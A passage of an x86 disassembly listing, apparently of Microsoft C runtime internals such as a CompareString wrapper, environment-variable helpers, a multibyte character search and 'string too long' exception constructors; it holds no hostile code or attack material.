jz short loc_432937
mov dword_4DE304, 1
jmp short loc_432966
; ---------------------------------------------------------------------------
loc_432937: ; CODE XREF: sub_4328E0+49j
push 1
push offset dword_435394
push 1
push offset dword_435394
push 0
push 0
call dword_4E02D8 ; CompareStringA
test eax, eax
jz short loc_43295F
mov dword_4DE304, 2
jmp short loc_432966
; ---------------------------------------------------------------------------
loc_43295F: ; CODE XREF: sub_4328E0+71j
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432966: ; CODE XREF: sub_4328E0+2Dj
; sub_4328E0+55j ...
cmp [ebp+arg_C], 0
jle short loc_43297F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_432CE0
add esp, 8
mov [ebp+arg_C], eax
loc_43297F: ; CODE XREF: sub_4328E0+8Aj
cmp [ebp+arg_14], 0
jle short loc_432998
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_432CE0
add esp, 8
mov [ebp+arg_14], eax
loc_432998: ; CODE XREF: sub_4328E0+A3j
cmp dword_4DE304, 2
jnz short loc_4329C4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E02D8 ; CompareStringA
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_4329C4: ; CODE XREF: sub_4328E0+BFj
cmp dword_4DE304, 1
jnz loc_432CC2
cmp [ebp+arg_18], 0
jnz short loc_4329E0
mov ecx, dword_4DE084
mov [ebp+arg_18], ecx
loc_4329E0: ; CODE XREF: sub_4328E0+F5j
cmp [ebp+arg_C], 0
jz short loc_4329F0
cmp [ebp+arg_14], 0
jnz loc_432B6C
loc_4329F0: ; CODE XREF: sub_4328E0+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_432A02
mov eax, 2
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432A02: ; CODE XREF: sub_4328E0+116j
cmp [ebp+arg_14], 1
jle short loc_432A12
mov eax, 1
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432A12: ; CODE XREF: sub_4328E0+126j
cmp [ebp+arg_C], 1
jle short loc_432A22
mov eax, 3
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432A22: ; CODE XREF: sub_4328E0+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
call dword_4E04B4 ; GetCPInfo
test eax, eax
jnz short loc_432A3B
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432A3B: ; CODE XREF: sub_4328E0+152j
; sub_4328E0+198j
cmp [ebp+arg_C], 0
jnz short loc_432A47
cmp [ebp+arg_14], 1
jz short loc_432A74
loc_432A47: ; CODE XREF: sub_4328E0+15Fj
cmp [ebp+arg_C], 1
jnz short loc_432A53
cmp [ebp+arg_14], 0
jz short loc_432A74
loc_432A53: ; CODE XREF: sub_4328E0+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset dword_436010
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_432A74
int 3 ; Trap to Debugger
loc_432A74: ; CODE XREF: sub_4328E0+165j
; sub_4328E0+171j ...
xor edx, edx
test edx, edx
jnz short loc_432A3B
cmp [ebp+arg_C], 0
jle short loc_432AF3
cmp [ebp+var_3C], 2
jnb short loc_432A90
mov eax, 3
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432A90: ; CODE XREF: sub_4328E0+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_432AA1
; ---------------------------------------------------------------------------
loc_432A98: ; CODE XREF: sub_4328E0:loc_432AE7j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_432AA1: ; CODE XREF: sub_4328E0+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_432AE9
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_432AE9
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_432AE7
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_432AE7
mov eax, 2
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432AE7: ; CODE XREF: sub_4328E0+1E8j
; sub_4328E0+1FBj
jmp short loc_432A98
; ---------------------------------------------------------------------------
loc_432AE9: ; CODE XREF: sub_4328E0+1CAj
; sub_4328E0+1D6j
mov eax, 3
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432AF3: ; CODE XREF: sub_4328E0+19Ej
cmp [ebp+arg_14], 0
jle short loc_432B6C
cmp [ebp+var_3C], 2
jnb short loc_432B09
mov eax, 1
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432B09: ; CODE XREF: sub_4328E0+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_432B1A
; ---------------------------------------------------------------------------
loc_432B11: ; CODE XREF: sub_4328E0:loc_432B60j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_432B1A: ; CODE XREF: sub_4328E0+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_432B62
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_432B62
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_432B60
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_432B60
mov eax, 2
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432B60: ; CODE XREF: sub_4328E0+261j
; sub_4328E0+274j
jmp short loc_432B11
; ---------------------------------------------------------------------------
loc_432B62: ; CODE XREF: sub_4328E0+243j
; sub_4328E0+24Fj
mov eax, 1
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432B6C: ; CODE XREF: sub_4328E0+10Aj
; sub_4328E0+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_432B94
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432B94: ; CODE XREF: sub_4328E0+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_432BD6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_432BD6: ; CODE XREF: sub_4328E0+2DDj
cmp [ebp+var_24], 0
jnz short loc_432BE3
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432BE3: ; CODE XREF: sub_4328E0+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
test eax, eax
jnz short loc_432C0A
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432C0A: ; CODE XREF: sub_4328E0+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_432C32
xor eax, eax
jmp loc_432CC4
; ---------------------------------------------------------------------------
loc_432C32: ; CODE XREF: sub_4328E0+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_432C74
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_432C74: ; CODE XREF: sub_4328E0+37Bj
cmp [ebp+var_28], 0
jnz short loc_432C7E
xor eax, eax
jmp short loc_432CC4
; ---------------------------------------------------------------------------
loc_432C7E: ; CODE XREF: sub_4328E0+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
test eax, eax
jnz short loc_432CA2
xor eax, eax
jmp short loc_432CC4
; ---------------------------------------------------------------------------
loc_432CA2: ; CODE XREF: sub_4328E0+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E02D4 ; CompareStringW
jmp short loc_432CC4
; ---------------------------------------------------------------------------
loc_432CC2: ; CODE XREF: sub_4328E0+EBj
xor eax, eax
loc_432CC4: ; CODE XREF: sub_4328E0+81j
; sub_4328E0+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4328E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432CE0 proc near ; CODE XREF: sub_4328E0+94p
; sub_4328E0+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_432CF2: ; CODE XREF: sub_432CE0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_432D17
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_432D17
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_432CF2
; ---------------------------------------------------------------------------
loc_432D17: ; CODE XREF: sub_432CE0+20j
; sub_432CE0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_432D29
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_432D2C
; ---------------------------------------------------------------------------
loc_432D29: ; CODE XREF: sub_432CE0+3Fj
mov eax, [ebp+arg_4]
loc_432D2C: ; CODE XREF: sub_432CE0+47j
mov esp, ebp
pop ebp
retn
sub_432CE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D30 proc near ; CODE XREF: sub_432830+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_432D5C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_433180
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_432D5C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_432D64
loc_432D5C: ; CODE XREF: sub_432D30+Bj
; sub_432D30+22j
or eax, 0FFFFFFFFh
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432D64: ; CODE XREF: sub_432D30+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, dword_4DDFA0
cmp ecx, dword_4DDFA4
jnz short loc_432D95
mov edx, dword_4DDFA0
push edx
call sub_433090
add esp, 4
mov dword_4DDFA0, eax
loc_432D95: ; CODE XREF: sub_432D30+4Fj
cmp dword_4DDFA0, 0
jnz loc_432E55
cmp [ebp+arg_4], 0
jz short loc_432DC7
cmp dword_4DDFA8, 0
jz short loc_432DC7
call sub_432830
test eax, eax
jz short loc_432DC2
or eax, 0FFFFFFFFh
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432DC2: ; CODE XREF: sub_432D30+88j
jmp loc_432E55
; ---------------------------------------------------------------------------
loc_432DC7: ; CODE XREF: sub_432D30+76j
; sub_432D30+7Fj
cmp [ebp+var_14], 0
jz short loc_432DD4
xor eax, eax
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432DD4: ; CODE XREF: sub_432D30+9Bj
cmp dword_4DDFA0, 0
jnz short loc_432E14
push 87h
push offset dword_436070
push 2
push 4
call sub_4150C0
add esp, 10h
mov dword_4DDFA0, eax
cmp dword_4DDFA0, 0
jnz short loc_432E09
or eax, 0FFFFFFFFh
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432E09: ; CODE XREF: sub_432D30+CFj
mov eax, dword_4DDFA0
mov dword ptr [eax], 0
loc_432E14: ; CODE XREF: sub_432D30+ABj
cmp dword_4DDFA8, 0
jnz short loc_432E55
push 8Eh
push offset dword_436070
push 2
push 4
call sub_4150C0
add esp, 10h
mov dword_4DDFA8, eax
cmp dword_4DDFA8, 0
jnz short loc_432E49
or eax, 0FFFFFFFFh
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432E49: ; CODE XREF: sub_432D30+10Fj
mov ecx, dword_4DDFA8
mov dword ptr [ecx], 0
loc_432E55: ; CODE XREF: sub_432D30+6Cj
; sub_432D30:loc_432DC2j ...
mov edx, dword_4DDFA0
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_433010
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_432F11
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_432F11
cmp [ebp+var_14], 0
jz short loc_432F03
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_415C60
add esp, 8
jmp short loc_432EAF
; ---------------------------------------------------------------------------
loc_432EA6: ; CODE XREF: sub_432D30+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_432EAF: ; CODE XREF: sub_432D30+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_432ED0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_432EA6
; ---------------------------------------------------------------------------
loc_432ED0: ; CODE XREF: sub_432D30+189j
push 0B9h
push offset dword_436070
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_4155B0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_432F01
mov edx, [ebp+var_C]
mov dword_4DDFA0, edx
loc_432F01: ; CODE XREF: sub_432D30+1C6j
jmp short loc_432F0F
; ---------------------------------------------------------------------------
loc_432F03: ; CODE XREF: sub_432D30+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_432F0F: ; CODE XREF: sub_432D30:loc_432F01j
jmp short loc_432F84
; ---------------------------------------------------------------------------
loc_432F11: ; CODE XREF: sub_432D30+148j
; sub_432D30+154j
cmp [ebp+var_14], 0
jnz short loc_432F7D
cmp [ebp+var_8], 0
jge short loc_432F25
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_432F25: ; CODE XREF: sub_432D30+1EBj
push 0CEh
push offset dword_436070
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_4155B0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_432F59
or eax, 0FFFFFFFFh
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432F59: ; CODE XREF: sub_432D30+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov dword_4DDFA0, eax
jmp short loc_432F84
; ---------------------------------------------------------------------------
loc_432F7D: ; CODE XREF: sub_432D30+1E5j
xor eax, eax
jmp loc_43300B
; ---------------------------------------------------------------------------
loc_432F84: ; CODE XREF: sub_432D30:loc_432F0Fj
; sub_432D30+24Bj
cmp [ebp+arg_4], 0
jz short loc_433009
push 0E5h
push offset dword_436070
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_414EC0
add esp, 4
add eax, 2
push eax
call sub_4150C0
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_433009
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_418870
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
call dword_4E02D0 ; SetEnvironmentVariableA
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_415C60
add esp, 8
loc_433009: ; CODE XREF: sub_432D30+258j
; sub_432D30+285j
xor eax, eax
loc_43300B: ; CODE XREF: sub_432D30+2Fj
; sub_432D30+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_432D30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433010 proc near ; CODE XREF: sub_432D30+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DDFA0
mov [ebp+var_4], eax
jmp short loc_433027
; ---------------------------------------------------------------------------
loc_43301E: ; CODE XREF: sub_433010:loc_433078j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_433027: ; CODE XREF: sub_433010+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_43307A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4327E0
add esp, 0Ch
test eax, eax
jnz short loc_433078
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_43306A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_433078
loc_43306A: ; CODE XREF: sub_433010+48j
mov eax, [ebp+var_4]
sub eax, dword_4DDFA0
sar eax, 2
jmp short loc_433088
; ---------------------------------------------------------------------------
loc_433078: ; CODE XREF: sub_433010+37j
; sub_433010+58j
jmp short loc_43301E
; ---------------------------------------------------------------------------
loc_43307A: ; CODE XREF: sub_433010+1Dj
mov eax, [ebp+var_4]
sub eax, dword_4DDFA0
sar eax, 2
neg eax
loc_433088: ; CODE XREF: sub_433010+66j
mov esp, ebp
pop ebp
retn
sub_433010 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433090 proc near ; CODE XREF: sub_432D30+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_4330B0
xor eax, eax
jmp loc_43317A
; ---------------------------------------------------------------------------
loc_4330B0: ; CODE XREF: sub_433090+17j
; sub_433090+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_4330CD
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_4330B0
; ---------------------------------------------------------------------------
loc_4330CD: ; CODE XREF: sub_433090+30j
push 146h
push offset dword_436070
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_4150C0
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_433105
push 9
call sub_41AC70
add esp, 4
loc_433105: ; CODE XREF: sub_433090+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_43310B: ; CODE XREF: sub_433090+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_43316E
push 14Fh
push offset dword_436070
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_4150C0
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_43315A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_418870
add esp, 8
loc_43315A: ; CODE XREF: sub_433090+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_43310B
; ---------------------------------------------------------------------------
loc_43316E: ; CODE XREF: sub_433090+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_43317A: ; CODE XREF: sub_433090+1Bj
mov esp, ebp
pop ebp
retn
sub_433090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433180 proc near ; CODE XREF: sub_432D30+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp dword_4DE43C, 0
jnz short loc_4331A2
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_418970
add esp, 8
jmp loc_433269
; ---------------------------------------------------------------------------
loc_4331A2: ; CODE XREF: sub_433180+Bj
push 19h
call sub_41BC80
add esp, 4
jmp short loc_4331B7
; ---------------------------------------------------------------------------
loc_4331AE: ; CODE XREF: sub_433180:loc_433246j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_4331B7: ; CODE XREF: sub_433180+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43324B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_4DE541[eax]
and ecx, 4
test ecx, ecx
jz short loc_433236
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_433208
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp short loc_433269
; ---------------------------------------------------------------------------
loc_433208: ; CODE XREF: sub_433180+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_433234
push 19h
call sub_41BD20
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_433269
; ---------------------------------------------------------------------------
loc_433234: ; CODE XREF: sub_433180+A0j
jmp short loc_433246
; ---------------------------------------------------------------------------
loc_433236: ; CODE XREF: sub_433180+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_433246
jmp short loc_43324B
; ---------------------------------------------------------------------------
loc_433246: ; CODE XREF: sub_433180:loc_433234j
; sub_433180+C2j
jmp loc_4331AE
; ---------------------------------------------------------------------------
loc_43324B: ; CODE XREF: sub_433180+4Dj
; sub_433180+C4j
push 19h
call sub_41BD20
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_433267
mov eax, [ebp+arg_0]
jmp short loc_433269
; ---------------------------------------------------------------------------
loc_433267: ; CODE XREF: sub_433180+E0j
xor eax, eax
loc_433269: ; CODE XREF: sub_433180+1Dj
; sub_433180+86j ...
mov esp, ebp
pop ebp
retn
sub_433180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433270 proc near ; CODE XREF: sub_40BC39+12p
; sub_40BCCE+12p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_433270
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40BBEC
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_433420
push offset dword_4363F8
lea edx, [ebp+var_28]
push edx
call sub_433E70
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_433270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4332D0 proc near ; CODE XREF: sub_433360+10p
; sub_433540+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4332D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call sub_433BF0
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40BBC6
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_436090
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_4332D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433340 proc near ; DATA XREF: .data:00436094o
; .data:004360A4o ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
add ecx, 0Ch
call sub_40BCA9
mov esp, ebp
pop ebp
retn
sub_433340 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433360 proc near ; DATA XREF: .data:00436098o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_4332D0
push offset dword_436468
lea ecx, [ebp+var_1C]
push ecx
call sub_433E70
mov esp, ebp
pop ebp
retn
sub_433360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433390 proc near ; CODE XREF: sub_4333F0+Ap
; sub_4334C0+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_433390
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_436090
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40BC0F
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_433CB0
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_433390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4333F0 proc near ; DATA XREF: .data:off_436090o
